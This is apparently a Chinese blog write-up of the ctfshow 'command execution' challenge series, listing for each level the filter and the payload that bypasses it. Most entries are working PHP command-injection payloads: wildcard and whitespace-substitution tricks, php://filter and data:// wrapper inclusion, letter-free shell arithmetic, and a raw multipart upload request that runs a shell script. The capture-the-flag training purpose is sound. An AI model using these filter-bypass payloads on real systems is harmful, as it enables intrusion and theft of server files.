ctfshow命令执行wp
ctfshow命令执行
web29
可以看到过滤了flag,可以使用通配符绕过
?c=system('tail fla*.php');
web30
比web29多过滤了system和php,这边可以使用nl命令通过占位符绕过,或者禁用了system,还有其它的命令执行函数,如exec()、passthru()、shell_exec()等
?c=echo `nl fla?.???`;
?c=passthru('cat fla*');
web31
比web30又多过滤了cat、sort、shell、.、空格、引号,根据上一题的解题思路来
?c=echo `nl fla?.???`;
发现只需要想办法替换掉空格和.号就可以,空格用tab键的url编码来替换吧,然后.号再用一个?代替payload就为
?c=echo%09`nl%09fla?????`;
除此之外绕cat还可以使用
tac more less head tac tail nl od(二进制查看) vi vim sort uniq
绕过空格还可以使用
%09 <> ${IFS} $IFS$9 {cat,fl*} %20
web32
可以看到又增加了`,echo,;,<等过滤,上一道题的思路就行不通了,参考下别人的解题思路就是php中存在一个独有的一个协议php://filter,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter(过滤器),可以很容易想到这个协议可以用来过滤一些东西。通过查找,这个函数可以使用多个参数达到不同的目的
名称 描述 备注
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
同时read和write还可以对代码进行加密和解密操作
?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
先使用include或者require再次包含一个GET请求,再使用?>绕过;号闭合,然后传入一个变量读取flag.php
再进行base64解码即可得到flag
web33
又增加了"等过滤,
?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
那也只需要将原来的数字再替换成字符即可
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web34
又增加过滤了:号,但是我们上一题的payload中没有c参数中没有使用:号,所以还可以继续使用
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web35
增加了>括号和=号过滤,不过我们上一题的payload中的c参数中依然没有使用>、\号,所以还可以继续使用
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web36
多过滤了数字,but,我们上一题的payload中的c参数还是没有数字,所以还可以使用上一题的payload
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web37
考察文件包含-伪协议-命令执行
?c=data://text/plain,<?php system("tac f*");
web38
还是和上面一样,不过又多过滤了php、file,尝试短标签
?c=data://text/plain,<?=system('cp fla\ 1.txt');?>
?c=data://text/plain,<?=system("tac%20f*");?>
尝试base64编码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web39
就是强制加上了.php,尝试上一题的payload发现依然可以
?c=data://text/plain,<?php%20system(%27tac%20fla*%27)?>
web40
看不懂了,感觉过滤了好多,直接研究payload
1、show_source(next(array_reverse(scandir(current(localeconv())))));
localeconv() 函数返回一包含本地数字及货币格式信息的数组。第一个为.
current()获取第一个元素值,获取到.
scandir() 列出.目录中的文件和目录
到这里就可以使用
?c=print_r(scandir(current(localeconv())));获取目录内容
发现flag文件后使用array_reverse()函数,翻转数组,再使用next定位到flag.php,最后使用show_source显示出来
web41
不仅过滤了数字,连字母都给全过滤了,这还怎么命令执行啊,上网看wp,原来还可以异或,可以看这篇文章学习一下
(50条消息) PHP异或_1stPeak的博客-CSDN博客_php 异或
直接脚本梭哈
(50条消息) ctfshow web入门 web41_yu22x的博客-CSDN博客
可以看下面这篇文章学习脚本原理
(50条消息) CTFshow wbe41 教你写脚本_白帽Chen_D的博客-CSDN博客
web42
system命令执行,直接tac flag.php;截断梭哈
web43
过滤了cat和;,开玩笑这能拦得住我,直接tac和换行url编码绕过%0a
?c=tac%20flag.php%0a
还有些其它绕过
||、、&&
web44
又过滤了flag,直接通配符梭哈*,?
?c=tac%20fla*||
web45
小样,又多过滤了空格,so easy,直接tab键url编码%09和通配符绕过
?c=tac%09fla*||
空格还可以用%09、%20、%3c、${IFS}、$IFS$9等绕过
web46
多过滤了数字,$、*号符号,过滤了数字那么我们的${IFS}、$IFS$9就没法用了,
?c=tac%09fla?.php||
继续使用上一关的,一开始觉得不是过滤了数字吗,但是这个%09会经过浏览器解码,变成tab,绕过了程序那个的判断
web47
发现正好上一关的tac没有被过滤掉,继续用,还有些漏网之鱼nl,tac,od,vi vim uniq
tac<fla''g.php||
nl<fla''g.php||
od<fla''g.php||
web48
和上一关一样,还是有漏网之鱼,nl可以用,梭哈
c=nl<fla%27%27g.php||
web49
发现nl还可以继续使用,继续梭哈
c=nl<fla%27%27g.php|| 或者tac也没有过滤
web50
还是可以继续梭哈nl
c=nl<fla%27%27g.php|| 或者tac也没有过滤
web51
还是可以继续使用nl读取
c=nl<fla%27%27g.php||
web52
过滤了<>符号,不过发现${IFS}又可以使用了,直接上payload
?c=nl${IFS}fla%27%27g.php||
发现有套路,ls看一下,发现没有其它文件了
再去看下根目录
直接payload拿下
?c=nl${IFS}/fla""g||
web53
payload:?c=n%27%27l${IFS}fla?.php
web54
上了通配符过滤,想不出来思路了,看下答案,发现是用mv将flag.php移动到1.txt
上payload
?c=mv${IFS}fla?.php${IFS}a.txt
web55
这一题看过滤了字母,应该上面eval做过,就知道了应该考察的是无字母数字执行命令,不过奈何太菜了,学习下别人的思路吧
(50条消息) 无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客
(50条消息) CTFshow-命令执行_YAy17的博客-CSDN博客_ctfshow命令执行
无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
不得不说师傅们tql
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: 2e76edc8-a726-41af-8d53-76084ea9746c.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17356608461664399600975061811
Content-Length: 369
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------17356608461664399600975061811
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
#!/bin/sh
cat flag.php
-----------------------------17356608461664399600975061811
Content-Disposition: form-data; name="submit"
提交
-----------------------------17356608461664399600975061811--
web56
不仅过滤了字母还有数字,不过依然可以用上一题的思路来做
web57
过滤了.,[,那么上一题的思路就没法用了,看一种新姿势
(())是用来进行整数运算的命令,内部可以加上表达式,默认是相加的。36可以通过外层为$(())包裹内层,可以运算出36的表达式构造。36可以由-37取反得到。那么就是先得到-37。也就是37个$((~$(())))便可以得到-37。之后便可以将他们整体在进行一次取反,便可以得到36.
原文链接:https://blog.csdn.net/weixin_44770698/article/details/125460386
在这里演示下-3如何变成2的,首先-3就可以表示为-1-1-1,就是三个$((~$(())))放在一起
然后再用一层$(())包裹起来,就代表运算的意思echo $(($(($(())))$(($(())))$((~$(())))))
再取反一下,取反的公司如下
$(($(($(())))$(($(())))$(($(())))))就是这样子,然后还要再包裹一层$(())运算出来,最后就是这个样子了,
echo $(($(($(($(())))$(($(())))$(($(()))))))),同理即可得到36
payload:c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58
发现system、exec()、passthru()、shell_exec()全给过滤了,
尝试直接读取,show_source('flag.php');,可以使用成功读取
web59
和上一关一样直接show_source就出来了
web60
也是一样的,直接show_source吧
web61-65都是上面的思路,直接梭哈就完了
web66
上之前的show_source('flag.php');发现这下被禁用了
尝试highlight_file,发现不在那了,于是print_r(scandir(''/''));查找,发现了flag.txt
然后再用highlight_file('/flag.txt');读就可以了
web67
继续使用上一关的试下,发现不行了
将print_r替换成var_dump试试,发现可以
然后就直接用highlight_file('/flag.txt');就出来了
web68
打开就说highlight_file()给禁用了,然后什么也没给,现在做题有思路了,我们可以扫下目录看flag在哪,
但可惜print_r被禁用了,可以换成var_dump,看到flag.php了,然后直接去读他
可惜show_source也被禁用了
再看下其它替代的require、include、require_once、include_once,做到这边发现不对了,看大佬的文章是在根目录下有flag.txt,那就直接包含了,但是很奇怪,如过flag就在flag.php里呢,该怎么去读他?
web69
尝试了下print_r,var_dump发现都被禁用了,不过还可以使用var_export,然后思路就是一样的了
web70
var_export()还可以继续使用,然后思路就是一样的了,直接include('flag.txt');梭哈
web71
有源代码提示,后面加了些花里胡哨的东西,看不懂不过也得了解一下,直接截断结束die();或者exit();一下,就可以出来了
ob_get_contents():返回输出缓冲区的内容,只是得到输出缓冲区的内容,但不清除它。此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回FALSE 。
ob_end_clean():清空(擦除)缓冲区并关闭输出缓冲,此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。
web118
已经看不懂了,f12看是给出了system提示,
查看源代码,发现:<!-- system($code);-->
经过测试,过滤了字母数字|^,没有过滤空格和环境变量。
看了hint发现,环境变量PATH是/bin,路径PWD是/var/www/html。
${PATH:~A}${PWD:~A}表示的就是PATH的最后一个单词和PWD的最后一个单词,组合起来就是nl。
payload:
${PATH:~A}${PWD:~A}$IFS????.???
相当于:nl flag.php
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具